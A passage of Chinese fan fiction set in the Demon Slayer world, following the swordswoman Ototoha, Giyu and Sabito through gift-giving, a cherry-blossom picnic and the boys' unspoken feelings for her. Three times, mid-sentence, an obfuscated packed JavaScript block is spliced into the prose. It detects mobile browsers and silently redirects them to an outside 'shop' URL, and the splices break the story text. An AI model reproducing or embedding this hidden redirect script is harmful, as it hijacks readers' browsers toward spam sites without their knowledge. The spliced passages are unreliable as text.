千鹤缓缓松开手,向后退了一步。他低头看向自己的胸口,又抬手轻轻抚过脖颈,浅琉璃色的眼瞳里,漾开一抹笑意。 “原来……”他声音轻得像风,“这就是离开……” 他抬眼望着音叶,嘴唇轻轻动了动,无声说出两个字,随后身体渐渐散开,彻底消失在空气里。 音叶收刀入鞘,转身走回佐藤身边。老人依旧站在原地,浑身颤抖不止,目光直直盯着千鹤消失的方向,半天说不出话。 “他……他……” “他去赎罪了。”音叶声音平静,听不出太多情绪。 她搀扶着佐藤,继续朝外走去,两人走出了这座困了少年十几年的宅邸,厚重的木门在身后轰然关上。 佐藤站在门外,回头望着细川邸的轮廓。他看了很久,哑着嗓子开口,声音被风吹得断断续续。 “那两个孩子……也不知道有没有人送他们一程……” 音叶没有说话,心里泛起一阵酸涩。 “姑娘,”佐藤声音沙哑,满是感激,“谢谢你。” 音叶轻轻摇了摇头,转身朝着巷子深处走去。 回到小院时,天空阴沉沉的,厚重的云层压得很低,空气里带着淡淡的湿意。 音叶轻轻推开院门,看了一眼四周,锖兔应该是执行任务还没回来,义勇正坐在廊下,听见推门的声响,他缓缓抬起头。 许是在院子里的缘故,他没扎平常一贯的发型,墨色的、有些粗糙的头发只是松松拢在脑后,几缕碎发垂落下来,遮住半边眉眼。 他的目光落在音叶身上,没有多余的情绪。 音叶走过去,在他身旁坐下。两人并肩靠着廊柱,一同望着院子里的风景。肩膀之间挨得很近,能感受到彼此身上的温度。 片刻后,义勇先开了口:“你受伤了?” 他侧过头,目光落在她的手臂上。血渗过队服,透在青色的羽织上,变成一团暗沉的红,格外刺眼。 “没事儿,小伤,过段时间就自己好了。”音叶说着,下意识将手臂往身后藏了藏。 义勇没有再多问,却也没有移开视线。他盯着那处血迹看了片刻,眉峰轻轻蹙起,随后起身走进屋内。再出来时,手中多了一只白瓷小药瓶和一卷干净的白布。 他在音叶面前蹲下身。这个姿势让两人之间的距离骤然拉近,近到音叶能看清他垂落的睫毛,能感受到他呼吸间轻浅的气息。 义勇伸手拉开她的队服袖子,手指触到她手腕的瞬间,两人皆是一顿。他的指尖微凉,带着一点小心翼翼的克制,不敢用力,又怕她会躲开。 音叶没有动,任由他握住自己的手腕。 衣袖缓缓挽起,伤口彻底露了出来。血已经止住了,伤口确实在慢慢愈合,边缘微微红肿,安静伏在肌肤上。义勇的眉峰蹙得更紧,他打开药瓶,将细腻的药粉倒在掌心,指腹轻柔地敷上她的伤口。 他的动作很轻,轻得像是怕弄疼她。指腹贴着肌肤,一点点将药粉抹匀,温热的触感从伤口蔓延开来,带着一点酥酥麻麻的痒。 音叶静静地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375051|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着他。他低着头,额前的黑发垂落,遮住半张眉眼,只露出微微抿紧的唇。微光穿透云层,落在他挺直的鼻梁上,勾勒出柔和的光影。 她忽然发现,义勇的睫毛其实很长,垂落时在眼睑下投出浅浅的阴影,随着呼吸轻轻颤动。 药敷好后,义勇没有立刻起身。他依旧蹲在她面前,抬眼望着她。 两人对视,深海般的眼瞳里映着她的身影,那一瞬间,空气像是凝住了。两个人望着彼此,谁都没有说话,也没有人移开自己的视线。 片刻后,义勇垂下眼,像是终于意识到这个姿势有多暧昧。他起身的动作有些仓促,耳尖悄悄染上一层浅粉。 “你等等。”他丢下这句话,快步走进屋内,脚步比平时快了半分。 音叶望着他的背影,唇角不自觉地弯了弯。 再出来时,义勇手中多了一个方方正正的纸包。他在她身侧坐下,这一次比刚才更近,近到两人的手臂几乎贴在一起。 他将纸包轻轻放在音叶掌心,指尖不经意间擦过她的手心,留下一丝温热的触感。 音叶打开纸包,里面是一串葡萄——表皮挂着细密的水珠,显然是刚仔细清洗过。 要知道,葡萄在当今的日本算是一种高级水果,一串葡萄就能换好几天的口粮。如果不是条件非常优越,很少有人会专门买葡萄吃。 她抬眼望向义勇,对方却已经将脸转向院子,目光定定地望着前方,像是在看什么极有意思的东西。可院子空空荡荡,只有一棵落尽叶子的老树。 他的耳尖红透了,顺着脸颊一路蔓延到脖颈,藏不住半分心绪。偏偏他还故作镇定,脊背绷得笔直,连呼吸都放轻了几分。 音叶低下头,看着掌心的葡萄。她没有问来历,也没有问花了多少钱,只是摘下一颗,放进嘴里。清甜的汁水在舌尖散开,一直蔓延至整个口腔。 她又摘下一颗,身旁的义勇依旧安静坐着,没有看她。可她能感觉到他的注意力全在她身上——他绷紧的脊背、刻意放轻的呼吸和微微侧向她的肩膀。 音叶吃了几颗,忽然抬手,趁义勇不注意,将一颗葡萄轻轻递到他唇边。 义勇下意识偏过头,葡萄却已经抵在他唇上。他顿住,垂眼看着她捏着葡萄的指尖,离他的嘴唇只有一线之隔。 空气忽然变得黏稠起来。 义勇的喉结轻轻滚动,他抬起眼,眼神里带着一丝茫然,直直望着音叶。音叶没有收回手,只是静静望着他,指尖轻轻抵着他的唇瓣。 片刻后,义勇缓缓张开嘴。他咬住葡萄的时候,唇瓣不经意擦过她的指尖,软而温热,还带着一点若有若无的湿意。 那一瞬间,两人同时僵住。 义勇下意识轻嚼,将葡萄咽下,他的耳尖红得几乎要滴出血来,那抹红晕从耳尖缓缓蔓延,顺着脸颊染到脖颈,一路没入衣领。 他本就肤色白皙,那抹红晕便格外显眼,根本藏不住半分心绪。 义勇嘴唇动了动,想说什么,最终却一个字也没说出来。他飞快低下头,让垂落的黑发遮住脸庞,可惜头发根本挡不住那片红透的耳尖——这种欲盖弥彰的模样落在音叶眼中,愈发显得可爱。 风掠过大树的枝桠,带起细碎的声响。阴天的微光温柔地裹着两人,让他们能听见彼此轻浅的呼吸。 音叶看着他微微颤动的睫毛,指尖还留着他唇瓣的温度,软乎乎的,像是还贴在那里。 她的心跳漏了半拍,感觉自己脸上热热的。 ——是不是最近没休息好?一定是最近太累了吧?对,肯定是这样。看来真的要好好补一下觉了,这种状态去杀鬼肯定是不行的。 音叶猛地站起来,动作有些慌乱,也顾不上吃东西了,把手中剩下的葡萄往义勇怀里一塞,赶忙往自己房间跑去,留下旁边的义勇看着她一系列的操作一脸茫然。 “不行了……我好像有点困……得去补个觉。” 丢下这句话,她头也不回地往自己房间跑去。脚步比平时快了半拍,像是身后有什么东西在追她似的。 义勇坐在原地,怀里抱着那串被塞回来的葡萄,望着她逃也似的背影,眼底浮起一丝茫然。 风掠过廊下,吹动他垂落的发丝。义勇低头看了一眼怀里的葡萄,又抬眼望向那扇已经关上的房门。 片刻后,他垂下眼,唇角几不可察地弯了弯。 ——笨蛋。 31. 赏樱 香奈惠的信是清晨送到的。 音叶刚结束任务回来,坐在廊下擦拭日轮刀。悠子从远处飞来,翅膀掠过院子里的树枝,鎹鸦稳稳落在音叶抬起的手臂上,放下信,用喙轻轻蹭了蹭主人的肩窝,羽毛蹭起细微的窸窣声。 “上野的樱花开了,”信纸展开,香奈惠的字迹温婉舒展,“忍说想和你们一起去赏樱,趁现在不忙,挑个天气好的日子,一起出去野餐吧。” 音叶抬起头,院子里房东留下的花还在坚强地生长,平时她们忙得脚不沾地,有些时候想起来才会浇一次。 而现在万物复苏,墙角那株不知名的树冒出了一簇簇嫩芽,花儿也争相盛开。 这个冬天并没有一帆风顺,音叶升为甲级队员那一晚,与恶鬼苦战一整夜,勉强撑着最后一口气回了蝶屋。 醒来的时候,香奈惠正站在床边,逆着窗外的光,整个人笼在一层柔和的光晕里。 “醒了?”她笑着问,手指轻轻拨开音叶额前的碎发,“伤口都处理好了,没什么大碍。” 音叶点点头,想坐起来,腰腹传来一阵钝痛,她撑起身子,忽然觉得身下有些异样。 床单上有一小片血迹,洇开成淡淡的红褐色。她下意识伸手去摸腰腹——那里确实有伤,缠着干净的绷带,没有渗血的迹象。 香奈惠在旁边看着她的动作,忽然笑出声来。 “傻丫头,”她说,声音柔柔的,“不是伤口。” 音叶怔了一瞬,低头又看了看那片血迹,忽然明白过来。 香奈惠的眼睛弯成两弯月牙,眼尾细细的纹路里盛着说不尽的温柔。 “恭喜你,音叶。”她说,语气里带着真切的欢喜,“长大了。” 音叶抬起头看着她,一时不知道该说什么。 香奈惠转身出了门,回来的时候,手里拿着一个小布袋,布是素净的棉白,边角收得整整齐齐。 “这个给你。”她把布袋递过来,放进音叶掌心里,“月带,蝶屋备了很多,女队员们都可以来过来拿,里面是脱脂棉,比平常用的草木灰舒服些。” 音叶接过来,打开看了看,布缝得很细致,里面装着柔软的棉絮,边角每一针都走得均匀。 “以后每个月都会来,”香奈惠在床边坐下,床沿微微陷下去一块,“不舒服的话就来蝶屋,我给你煮姜茶。” “谢谢你,香奈惠。” 从蝶屋回来后不久,便是义勇的生日。 这时节春寒料峭,风里还带着冬天的尾巴,吹在脸上凉飕飕的,能把人的耳朵尖冻红。院角的梅花谢了大半,残瓣落在青石板上。 音叶提前很久就开始准备礼物,她依稀记得忍的手工很好,便过去找蝴蝶忍。 忍正坐在廊下翻一本药典。 “忍,”音叶在她旁边坐下,“我要织围巾。” 忍抬起头看她,那双杏眼瞪得圆圆的:“你会吗?” “不会。” 忍愣了一下,然后整个人趴在桌上,肩膀一耸一耸的,笑得停不下来。 “那你可找对人了,”她抬起头,眼睛里还带着笑出来的水光,“我也不会。” 于是两个人在蝶屋的后院里折腾了一个下午,毛线乱成一团,针法织了拆、拆了再织,拆下来的线打着卷儿。 香奈惠路过后院的时候,脚步停了下来。 院角的树下,音叶和忍并排坐着,面前堆着一团灰色的毛线。忍的手指绕来绕去,绕了半天发现绕错了,懊恼地啊了一声。 忍抬起头,正好对上香奈惠的视线。 “姐姐……”她的声音里带着一点被抓包的心虚。 香奈惠走过来,羽织的下摆拂过地上的落花。她低头看着那团乱糟糟的毛线,看着音叶手里那根歪歪扭扭的织针,看着忍食指上被扎出的针眼。 她的眼睛弯了起来。 “让我看看……”她在两人中间坐下,伸手接过音叶手里的半成品,指尖抚过那些松紧不一的针脚,“你们两个这是在织什么?” 忍小声嘟囔:“……围巾。” “围巾。”香奈惠重复了一遍,尾音微微上扬。 忍的脸红了:“我们第一次织……” 香奈惠看着她,眼里的笑意更深了。她什么也没说,只是把那团毛线拿起来,手指灵活地绕了几圈,重新起了一个头。 “这样,”她把织针递到音叶手里,手把手地带着她走了一针,“第一针不要太紧,太紧了后面会皱。” 音叶低头看着她的手,看着她手指翻飞的弧度,看着她把那些乱糟糟的线一点点理顺。 “然后这一针,”香奈惠转头看向音叶,“要这样绕过去……你试试。” 音叶接过针,笨拙地学着,香奈惠在旁边看着,时不时伸手帮她调整一下角度。 最后那条围巾总算成了个样子,灰色的毛线,针脚歪歪扭扭的,边角还秃了一小块,线头露在外面,怎么也收不进去。 忍说这叫“手工的痕迹”,香奈惠笑着说“心意到了就好”,说完又忍不住笑。 终于熬到了义勇生日那天早上,音叶守在房间门口,等到义勇走出来,音叶就立马把围巾递给他。 义勇接过来,低头看了很久,又伸手摸了摸,指腹抚过那些松紧不一的纹路,动作轻得像在碰什么易碎的东西。 然后他把围巾围在脖子上,绕了两圈,正好把半边脸埋进去,只露出眼睛和额头。 “……暖的。”他说,声音闷在围巾里,闷闷的。 后来那段日子,那条围巾一直在他脖子上。春寒料峭的时候围着,风大的时候围着,天稍微暖和点了也还围着。 等到锖兔生日的时候,天气已经暖和了许多。院子里的花已经开了,一簇一簇的,在风里轻轻点头。风里少了冬日的凛冽,多了几分温软的暖意。 音叶这次准备的是刀穗,蓝紫色的绳子,是自己搓的——挑了最细的麻线,一根一根捻在一起,搓了三天才搓成这么细。 生日那天,她把刀穗递给他。 锖兔接过来,翻来覆去看了好几遍,绳子上的每一道纹路都均匀细致,能看出搓的时候用了多少心思。 “你做的?”他问,声音比平时低一些。 “嗯。” 他没有立刻说话,风吹起他额前几缕淡橘色的碎发,露出侧脸一道浅浅的旧疤。他低垂着眼睫,那对银紫色的眸子此刻安静地落在手心的绳结上。 过了一会儿,他抬起头看着她,目光定定的。嘴角慢慢抿起一点弧度。 “我很喜欢,”他说,声音不大,却很清楚,“不止是礼物。” 说完,他把绳结小心地握进掌心,像是握住了什么很重的东西。 音叶愣了一下,一时不知该说什么。 “那个——”她突然抬起手,指了指他身后,“你衣服上沾了片叶子。” 锖兔顺着她的手指回头看了看,什么都没看到。 “掉了吧,”音叶说,“刚才还在的。” 他转回来,看着音叶,她已经低下头,手指无意识地捻着衣角,把那一小块布料捻了又捻,就是不肯抬眼。 锖兔没戳穿音叶。 他把刀穗收进掌心,握了一下,才妥帖地放进怀里。 “嗯,”他说,嘴角微微弯起来,“掉了。” 锖兔直接把刀穗系在了刀柄上,系完之后还晃了晃,看着那根穗子在风里轻轻摆动。 后来那把蓝紫色的刀上,就一直挂着那根穗子,每次他出完任务回来,第一件事就是擦刀。 先擦刀刃,再擦刀柄,最后把刀穗取下来,一根一根地捋顺,捋得整整齐齐,像对待什么珍贵的物件。 有一回音叶想拿起来看看,她刚伸出手,锖兔手比她还快,一把捞过去护在怀里,刀柄贴着胸口,抱得紧紧的。 “干嘛?”他瞪着她,眼睛里带着一点慌乱。 “看看啊。” “有什么好看的。”他别过脸去,耳朵尖红了一小块。 音叶不服气:“你这个刀穗都是我做的,看一下怎么了!” 锖兔把刀护得更紧了些,梗着脖子回她:“你送给我了,那就是我的。” “这么小气干嘛?”音叶抱怨着。 但她看到锖兔别着脸不肯转过来,手指却悄悄摸上刀穗,在那撮流苏上轻轻捻了捻。 音叶看着他那副模样,嘴角悄悄弯了起来,看来很珍惜她送的东西嘛。 …… 去赏樱那天,天气晴得正好。 阳光从窗户斜斜照进来,在地板上铺开一片暖黄。音叶推开柜子,翻出一件淡色的和服,是她某次出任务时看中的,手上的钱刚好足够买下,但没回来却一次都没穿过,如今终于有机会穿了。 音叶对着镜子给自己梳头。 镜子里的人眉眼安静,头发在指间分成三股,编成松松的麻花辫,从一侧垂下来,辫梢搭在肩头,缕碎发落在耳边,衬得整个人都灵动起来。 她给自己带上一个花簪,粉色的绢花,花瓣层层叠叠,底下坠着一颗透明的珠子,随着动作轻轻晃动。 花簪是义勇送的,一个平淡得不能再平淡的日子,义勇执行完任务回来。身上还带着血腥气,就把怀里用手帕抱着的花簪递给音叶,说,我觉得你带着应该好看。 音叶把花簪插进发间,簪子穿过发辫,那朵樱花正好落在耳侧,随着她的动作轻轻晃动,花瓣颤颤的。 推开门的时候,锖兔和义勇已经在院子里了。 锖兔穿着灰蓝色的和服,头发比平时梳理得整齐些,服帖地垂在两侧。 义勇换下了姐姐的绯红色羽织,穿上蓝色的和服,领口整理得服服帖帖,头发还是和往常一样绑在脑后。 听见门响,两个人同时转过头来。 锖兔的目光落在她身上,停了一瞬,移开后又忍不住看回来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375052|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 义勇也在看她,音叶察觉到他的目光在花簪上停了一会儿,有些不自在,手指抬起来,轻轻抚了一下那朵花。不知过了多久,那目光终于移开了,音叶用余光里看见他垂下头,额前的碎发落下来,遮住了眉眼,看不清神态。 “走吧。”锖兔说。 他移开目光,率先往院门走去。 往上野公园门口望进去,路两旁的樱花树枝丫交错,在半空搭成一条花廊,花枝低低地压下来,离头顶不过一尺。脚下的青砖路上落了薄薄一层花瓣,露出深色砖缝的地方,是被风吹散的。 风吹过,枝条簌簌地摇,花瓣纷纷落下来。 忍远远看见他们,使劲挥手,手臂挥得高高的,整个人都快跳起来:“这里!这里!” 忍穿着一件紫色的和服,香奈惠站在她旁边,穿着粉色的和服,衣料素净,头发规矩地盘起来,整个人温温柔柔的。 她笑吟吟地看着他们走近,眼睛弯弯的。 忍的目光落在音叶身上,忽然亮了一下。 “音叶姐……你今天好好看!” 音叶被她夸得高兴,手指下意识摸了摸发梢:“没有吧……” “有的有的!”忍凑过来,凑得很近,鼻尖都快碰到音叶的耳朵,盯着她发间那朵花簪,“这个簪子好好看……是樱花吗?” “嗯。”音叶点点头,手指轻轻碰了碰那朵花。 忍又看了看,眼睛亮晶晶的:“配你今天的辫子刚好。” 香奈惠在旁边笑着点头,目光温温柔柔的。 音叶把自己带的篮子放在铺满食物的席子一角,从里面拿出水果。 “我带了些水果。”她说着,从篮子里将葡萄拿出来。 忍眼睛一亮,伸手就拿了一颗塞进嘴里,腮帮子鼓起来:“好甜!” 义勇坐在她旁边,目光落在那几串葡萄上,停了一瞬。 音叶正好抬起头,对上他的视线。 四目相对,两个人同时想起了什么。 此刻在樱花树下,两个人目光相接,没有说话,却知道彼此在想什么。 音叶垂下眼,唇角轻轻弯了一下,义勇低下头,耳朵又慢慢红了。 锖兔坐在席子边上,把这一切看在眼里。 他看着音叶唇角那一点笑意和义勇泛红的耳根,看着他们之间那种说不清道不明的气氛,觉得自己好像错过了什么重要的东西。 他皱了皱眉,胸口忽然闷得厉害,像有什么东西堵在那里,压得他喘不过气。 他垂下眼,把手里的三色团子转了转。 ——应该是想多了吧,他们从小一起长大,有点默契不是很正常吗。 ——可能是最近绷得太紧了,任务一个接一个,好不容易出来放松,脑子却还在想着明天要出任务的事。 对,一定是这样,是最近太累了,才会看什么都觉得不对劲。 他这样告诉自己。 可过了一会儿,他又忍不住抬起头。 忍坐在席子上,拈起一颗葡萄送进嘴里,细细嚼了两下,眼睛微微弯起来。 “这葡萄好甜啊,”她侧过头看向音叶,唇角带着一点笑意,“下次我也要去买。” 音叶笑着说:“不用你去买,想吃的话改天我去买了给你送去。” 忍歪了歪头,笑意更深了些,又伸手去拿下一颗。 义勇在旁边安静地坐着,他垂着眼,不知在想些什么。 音叶顺手把篮子往他那边推了推。 义勇抬起眼,目光和她撞上。那双蓝色的眸子停在音叶脸上,眼睫微微动了动,却没有移开视线。 可锖兔看见了,音叶眼睛里的光和义勇嘴角那一点几乎察觉不到的弧度。 胸口那团东西闷得更厉害了。 锖兔忽然开口:“葡萄就这么好吃?” 他的声音比平时低了一些,淡橘色的碎发被风吹得微微晃动。 他侧着脸,银紫色的眼睛先是看了一眼音叶,又飞快地移开,喉结动了动,唇角抿着,绷出一条不太自然的弧度。 音叶转过头看他,有点莫名:“挺甜的,你要不要尝尝?” 她把篮子往他那边推了推。锖兔垂眼看了一眼那些紫莹莹的葡萄,又抬起眼,视线越过音叶落在对面的义勇身上。 义勇正低着头吃饭团,黑发遮住眉眼,只能看见耳根那一片薄薄的绯红。 锖兔盯着那抹红色看了两秒,眼神暗了暗,然后别过脸去。 “不用,”锖兔说着,侧脸的线条绷得有些紧,“我不爱吃甜的。” 可他也不知道为什么,说完这句话,胸口更闷了。 锖兔的视线再一次不自觉地落到音叶身上。 她正侧着脸跟忍说话,阳光落在她脸上,把那朵绢花映得粉嫩嫩的,连带着她的眉眼都柔和了几分,嘴角带着浅浅的弧度。 锖兔移开目光,一定是太累了,他想。 32. 你在想她 自从赏樱回来之后,锖兔觉得自己的脑子不太听使唤了。 黑丸落在院墙上,歪着脑袋看他。那只漆黑的鎹鸦从入队开始跟着他,锖兔早就习惯了它沉默寡言的性子。 可最近连黑丸都看出了不对劲——锖兔坐在廊下发呆的次数越来越多,有时候一坐就是半个时辰,手里握着那根挂着刀穗的刀,眼睛不知道望着哪里。 黑丸瞥了他一眼:“你在想她。” 锖兔没有理会,自从那天起,脑海里便总是蹦出音叶的模样,赶也赶不跑。 这次的任务在北边的山里,支援被困的队员。一位刚入队不久的男孩,第一次单独出任务就遇上了难缠的鬼。 锖兔赶到的时候,男孩已经被逼到悬崖边上,脸上全是泪痕和泥水混在一起的污渍。 那只鬼不算强,却像个甩不掉的影子一样难缠。每次锖兔的刀锋要落下,它便倏地一缩,滑开几寸,躲过致命一击,又立刻缠上来。 锖兔把人往身后一挡,刀刃横在身前,硬扛下扑来的势头。鬼爪擦过他后背,衣料撕开,皮肉翻出一道口子。血顺着脊沟往下淌,他没吭声,半步不退。 “前辈……” 身后传来喊声,带着惊慌。 “快走!” 他头也不回,大喊着让男孩离开。刀光再起,将鬼逼退半步。 男孩咬紧牙关,转身往山下跑,脚步声很快远了。锖兔挡在那条山道上,一刀一刀把鬼往后压,直到确认那个方向再没有一丝动静,才猛地收刀,抽身撤离。 等彻底把那只鬼处理干净,天色已经暗下来。他站在林间,刀收入鞘,呼出一口浊气。 黑丸从头顶落下,翅膀一收,落在他肩上:“你受伤了,得去蝶屋。” “我知道。” 锖兔抬手往后背摸了一把,指尖沾上湿黏的血迹。他看了一眼,垂下手,朝山下走去。 山路两边的树木在月光下投下长长的影子,偶尔有夜鸟被惊起,扑棱棱地飞向远处。他走得不快,背上的伤口随着步子一扯一扯地疼,但这点疼他早就习惯了。 黑丸没有再说话,只是安静地站在他肩头。偶尔歪过头看他一眼,然后又转回去。 路过一处野山的时候,他的脚步慢了下来。 月光把山坡照得发白,低矮的灌木、散落的石头、远处那条干涸的小溪——一切都和狭雾山那么像,儿时的记忆就这么毫无预兆地涌上来。 “锖兔、义勇,你们快点!” 音叶的声音从记忆里冒出来,脆生生的,带着笑。 他们三个跟着师父去采药,音叶永远跑在最前面,看见什么都新鲜,一溜烟就跑没了影。 等锖兔再找到她的时候,她脸上不知道从哪儿蹭的泥,头发里还夹着树叶,偏偏这位当事人浑然不觉,还在回头冲他们笑。 “你脸上有泥。”两个男孩异口同声。 两个人都去摸口袋,出门在外,手帕总是随身带着,以备不时之需。 音叶站在那里,看看锖兔,又看看义勇,眼睛弯成两道月牙:“你们俩怎么都有手帕?” 还不是因为你每天都把自己弄得脏兮兮的。 锖兔没吭声,义勇也没说话。最后还是音叶自己伸手,随便挑了一块,往脸上一通擦。 后来次数多了,出门前往袖子里塞块手帕就成了雷打不动的事。 “你又在想她。”黑丸的声音从肩头传来。 锖兔脚步一滞:“才没有。” 黑丸没再说什么,只是安静地站在那儿,望着前面的路。 那时候没有背负那么多使命,音叶脸上脏了,两个男孩就递手帕过去,擦干净继续往前跑。三个人走在山路上,阳光从树叶缝里漏下来,落在他们身上。 现在出完任务回来,音叶脸上偶尔也会沾灰,衣服上有时蹭着泥。她自己会擦,从袖子里掏出自己的手帕,擦完折好收回去。 锖兔有时候会在等她的晚上想起她推开门的样子,会在受伤之后第一个念头不是去蝶屋治疗,而是——音叶知道了肯定又会生气。 回去的路很长,等锖兔回过神的时候,已经走到了东京最繁华的商业街。灯火从两边的店铺里透出来,把石板路照得亮堂堂的。 他脚步匆匆,目光随意扫过街边的铺子,本只是想穿这条街,早点到蝶屋处理伤口。 直到一家银饰铺撞进视线。 橱窗里挂着各式银链,在灯火里漾着温润的光。他的脚步蓦地顿住,目光死死黏住那条细链——银链上坠着一颗淡青色的珠子,一看就很适合音叶。 他站在橱窗前,看了许久。 …… 怎么又满脑子都是音叶了。 他轻叹了口气,呼出的白气在玻璃上晕开一小片雾。 肩头的黑丸蜷着爪子,不知何时已落回他的肩头,顺着他的视线望了望橱窗,声音带着惯有的平静:“买了吧。” “我可没说要买。”锖兔别过脸,耳尖却悄悄泛了点红。 “你在这都站了多久了。”黑丸甩了甩尾巴,语气里带着点了然。 锖兔没接话,指尖摩挲了下掌心,最终还是推开了铺门。 店里的老妇人正低头擦拭银饰,听见门响抬眼,皱纹里裹着温软的笑意:“小伙子,是看上手链了?” 他走到柜台前,目光又落回那条细链。老妇人顺着他的视线望去,笑着从橱窗里取出,轻轻放在他手心里。 “这手链好看,”她指尖抚过珠坠,语气温柔,“送给心上人正合适。” 锖兔低头攥着那链子,银链的凉触感顺着掌心蔓延,脑海里却先一步浮现出音叶的模样。 “这是……给好朋友的。”锖兔低下头,声音低得像呢喃,像是在说服自己。 老妇人抬眼瞧了瞧他,眼底的笑意更浓了。她接过链子,用软布细细擦去表面的浮尘,仔细装进锦盒,扣好搭扣后递了过去。 从铺子里出来时,锖兔攥着那个锦盒,指节微微泛白。 他又低头看了看盒子,指尖抚过盒面,他只是觉得这条手链很适合她,不送给她可惜了。 只是觉得适合,仅此而已。 他将锦盒收进怀里,紧紧贴着心口的位置,那温热的触感顺着布料漫开,连脚步都比来时轻快了几分。 黑丸落在他肩头,什么也没说。 …… 蝶屋的院门近了,院子里的樱花早已落尽,廊下挂着几盏灯笼。 锖兔抬脚往里走,本想随便找一个医生处理一下背上的伤,可穿过庭院时,脚步却在廊下猛地停住了。 音叶站在院子里,背对着他,正和一名队员说着什么。她穿着平时那件淡青色的羽织,队服的袖子挽到手肘,露出一小截手腕。头发还是编着松松的辫子垂在一侧,有几缕碎发散在耳边,被夜风吹得轻轻晃动。 她刚转过身,两个人猝不及防地对上了视线。 锖兔根本来不及躲,往常这种时候,他总会悄悄绕开,倒不是刻意回避,只是怕见了她,心里那些乱糟糟的念头会更疯长。 可此刻,身影已经撞了个正着,就算是想躲估计也躲不了了。 肩头的黑丸倏地飞起,落在了院墙上。它歪着圆脑袋,安静地蹲在那里,爪子搭着砖沿,像个默默旁观的局外人。 音叶脸上的笑意瞬间淡了,她的目光从他脸上滑到背后,那道简单包扎过的伤口还渗着血,暗红色的痕迹洇透了衣料。 她盯着那片血渍,眉头猛地蹙起,嘴唇抿成一条笔直的线。锖兔看见她冲那名队员低声说了句什么,随即快步朝他走来,脚步看起来又急又重。 音叶胸口微微起伏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375053|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,她没说话,只是伸出手,攥住了他的手腕,很用力,指节甚至有些发白。 不由分说地,音叶把他拉进了旁边一间空屋。 屋里没点灯,只有月光透过窗纸渗进来,音叶把他摁在床边,她还气呼呼地叉着腰,呼吸有些急促。 ……怎么这种时候还觉得她很可爱? “怎么又弄的浑身是伤……” 她刚开口,声音里还带着没压下去的火气,锖兔却猛地往前一倾,把脸埋进了她的怀里。 锖兔也不知道自己在做什么,他只知道看见音叶皱着眉走来的那一刻,身上那根绷紧的弦突然就松了,刀光剑影里的紧绷感全都在靠近她的瞬间卸了下来。 他额头抵着她的小腹,一动不动,任由她的体温透过衣料传过来,那些乱糟糟的念头在靠近她的瞬间忽然就停了下来。 音叶的身体猛地一僵。 她的手悬在半空中,指尖微微蜷着,不知道该落在他身上还是该放下去。 过了一会,她才开口,声音里带着一丝不易察觉的不安:“……你怎么了?” 锖兔没说话。 耳朵贴在她怀里,能清晰地听见她的心跳,一下一下隔着布料传过来,比任何声音都更让他心安。 音叶等了片刻,没等到回应,便轻轻动了动,伸手去掀他背后的衣服——伤口就在那里。 锖兔任由她的手指触到他的皮肤,感受着少女小心翼翼地避开裂开的伤口,他知道她在生气,或许下一秒就要破口大骂了,可是锖兔就是不想动。 不知过了多久,她的声音轻轻响起,没了之前的怒火,只剩下藏不住的紧张和后怕。 “你是不是伤得很重?” 锖兔忽然想笑,音叶可能以为自己快要撑不住了。 “没事,”声音闷闷的,从她怀里传出来,带着点鼻音,“小伤。” 她愣了一下,指尖还停在他的衣料上:“那你刚才……” 锖兔不知道该怎么说,见到音叶的时候,他就是想抱着她。靠近她的时候,脑子里那些乱七八糟的想法都消失了,只剩下两个人肢体接触的温热触感。 ……也许只是太累了,她是他最信任的人,累了想要安慰,抱一下很正常。 换作义勇,大概也会这样。 他这样告诉自己。 “锖兔?”音叶又喊了一声,声音软了下来。 他慢慢抬起头。 月光透过窗纸落在她脸上,绿色眼眸里还带着担忧,眉心蹙着,几缕碎发从辫子里散出来,垂在耳侧,随着呼吸轻轻晃荡。 他看着她,忽然想起怀里揣着的那个小锦盒。 “给你买了东西。” 锖兔从怀里掏出那个锦盒,塞进她手里,盒子上还带着他的身体的余温,烫得她指尖微微发麻。 音叶低头打开,看清了盒子里的东西。细细的银链坠着颗淡青色的珠子。她把链子拎起来,银链在指间晃了晃,珠子正好落在腕骨的位置。 “这是……” “路过看见的,”锖兔赶紧别开脸,不敢看她的眼睛,目光落在自己膝头的手上,月光照在他侧脸上,映出嘴角那道淡淡的疤和银紫色瞳孔里藏不住的局促,“觉得适合你。” “谢谢。” 音叶把银链戴在了手腕上,银色的链子绕着纤细的腕骨,她抬腕看了看,嘴角慢慢弯起来,眉眼间也带着笑意。 “好看吗?”她主动问,手腕朝他伸了伸。 他抬眼瞥了一眼,目光落在那串银链上,又飞快地移开,喉结轻轻动了动。 “嗯。” 